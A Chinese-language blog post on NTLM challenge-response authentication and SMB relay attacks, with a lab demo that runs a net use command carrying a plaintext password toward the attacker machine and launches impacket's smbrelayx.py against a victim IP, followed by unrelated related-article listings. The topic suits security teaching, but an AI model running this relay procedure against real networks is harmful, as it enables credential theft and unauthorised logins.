一.NTLM hash 和 Net-NTLM hash

1.客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash

2.服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1,将challenge发送给客户端

3.客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器

4.服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

PS:在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash

二.SMB中继流程

1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password 加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
 
三.攻击演示
 
PS:
1.受害者不能开启 smb 签名
2.打了ms08-068[KB957097]补丁
 
攻击机:192.168.127.134
 
受害机:192.168.127.128
 
第三方:192.168.127.131
 
第三方机器上执行如下命令,向攻击者传送smb流量:net use \\192.168.127.134\c$ "qwewsx123." /user:"Administrator"
 
 
安装impacket套件

apt-get --reinstall install python-pyasn1 python-pyasn1-modules

git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害机IP

 
攻击机上可以看到,当有人net use连接攻击机上时,攻击者就回捕捉到了smb 的登录凭证hash,然后拿着这个hash到受害机尝试登录进行重放攻击
 
 
参考链接:
https://www.freebuf.com/articles/system/176206.html
https://klionsec.github.io/2016/07/20/smb-replay-attack/
https://zhuanlan.zhihu.com/p/64889695
https://www.jianshu.com/u/3067117bd792

smb中继攻击的更多相关文章

  1. Chapter 1 Securing Your Server and Network(10):使用扩展保护避免授权中继攻击

    原文:Chapter 1 Securing Your Server and Network(10):使用扩展保护避免授权中继攻击 原文出处:http://blog.csdn.net/dba_huang ...

  2. MySQL Out-of-Band 攻击

    概述 当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式.但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究.我们可以利用诸如loa ...

  3. SMB relay

    SMB relay 0x00 SMB服务 先来了解一下什么是 SMB 服务,SMB(Server Message Block)是一个协议名称,用它可以共享计算机之间的文件.打印机.串口等,通过 SMB ...

  4. 无需扫描即可查找和攻击域SQL Server (SPN)

    无扫描SQL Server发现简介 当您没有凭据或正在寻找不在域中的SQL Server时,使用各种扫描技术来查找SQL Server可能非常有用.但是,此过程可能很嘈杂,耗时,并且可能由于子网未知, ...

  5. Impacket官方使用指南

      什么是Impacket Impacket是用于处理网络协议的Python类的集合.Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC).数据 ...

  6. 结合NTLM中继和Kerberos委派攻击AD

    0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...

  7. 使用ntlmrelayx在任何地方进行中继凭据

    0x00 前言 通过Fox-IT我们可以让客户了解其企业组织中出现的常见安全风险.当攻击者可以利用NT LAN Manager身份验证协议(以下简称:NTLM身份验证)时,凭据重用就有这样的风险,即这 ...

  8. 滥用基于资源约束委派来攻击Active Directory

    0x00 前言 早在2018年3月前,我就开始了一场毫无意义的争论,以证明TrustedToAuthForDelegation属性是无意义的,并且可以在没有该属性的情况下实现“协议转换”.我相信,只要 ...

  9. SMB重放攻击

    0x01 原理 正常情况下:client端 --------- server端 1.正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之 ...

随机推荐

  1. node.js 中的 fs (文件)模块

    记录 fs 模块的方法及使用 1. fs.stat 获取文件大小,创建时间等信息 // 引入 fs 模块 const fs = require('fs'); fs.stat('01.fs.js', ( ...

  2. OpenFileDialog 打开图片存储到电脑本地上

    替换图片 private void btnSkin_Click(object sender, RoutedEventArgs e) { string fName; OpenFileDialog ofd ...

  3. CSS Sprite初探之原理、使用

    CSS Sprite简介: 利用CSS Sprites能很好地减少了网页的http请求次数,从而大大的提高了页面的性能,节省时间和带宽.CSS Sprites在国内很多人叫css精灵, 是一种网页图片 ...

  4. 第九篇 数据表设计和保存item到json文件

    上节说到Pipeline会拦截item,根据设置的优先级,item会依次经过这些Pipeline,所以可以通过Pipeline来保存文件到json.数据库等等. 下面是自定义json #存储item到 ...

  5. linux6查看时间同步服务器的匹配源

    当服务器时间与设定好的同步时间源的时间有差异的时候,一般都需要先查看本机的时间同步服务功能是否在正常的运转,以及同步的时间源是哪里,在这里为大家提供一个检查时间用的命令. linux/centos 6 ...

  6. Box-Cox变换

    简介 编辑 Box-Cox变换的一般形式为: 式中    为经Box-Cox变换后得到的新变量,    为原始连续因变量,    为变换参数.以上变换要求原始变量    取值为正,若取值为负时,可先对 ...

  7. 爬虫那些事儿--Http返回码

    由于爬虫的抓取也是使用http协议交互.因此需要了解Http的各种返回码所代表的意义,才能判断爬虫的执行结果. 返回码如下: 100 Continue 初始的请求已经接受,客户应当继续发送请求的其余部 ...

  8. Java 的信号灯

    Semaphore可以维护当前访问自身的线程个数,并提供了同步机制.使用Semaphore可以控制同时访问资源的线程个数,例如,实现一个文件允许的并发访问数. Semaphore实现的功能就类似厕所有 ...

  9. echats问题

    echats 横轴显示不下datazoom配置,加入滚动条 实例博客  https://blog.csdn.net/Zheng_xiao_xin/article/details/80882113 常用 ...

  10. VS2017编译Qt x64

    1.打开VS本机工具命令提示vcvars64.bat. 2.进入Qt源码目录 cd E:\qt-everywhere-opensource-src- mkdir qt-build && ...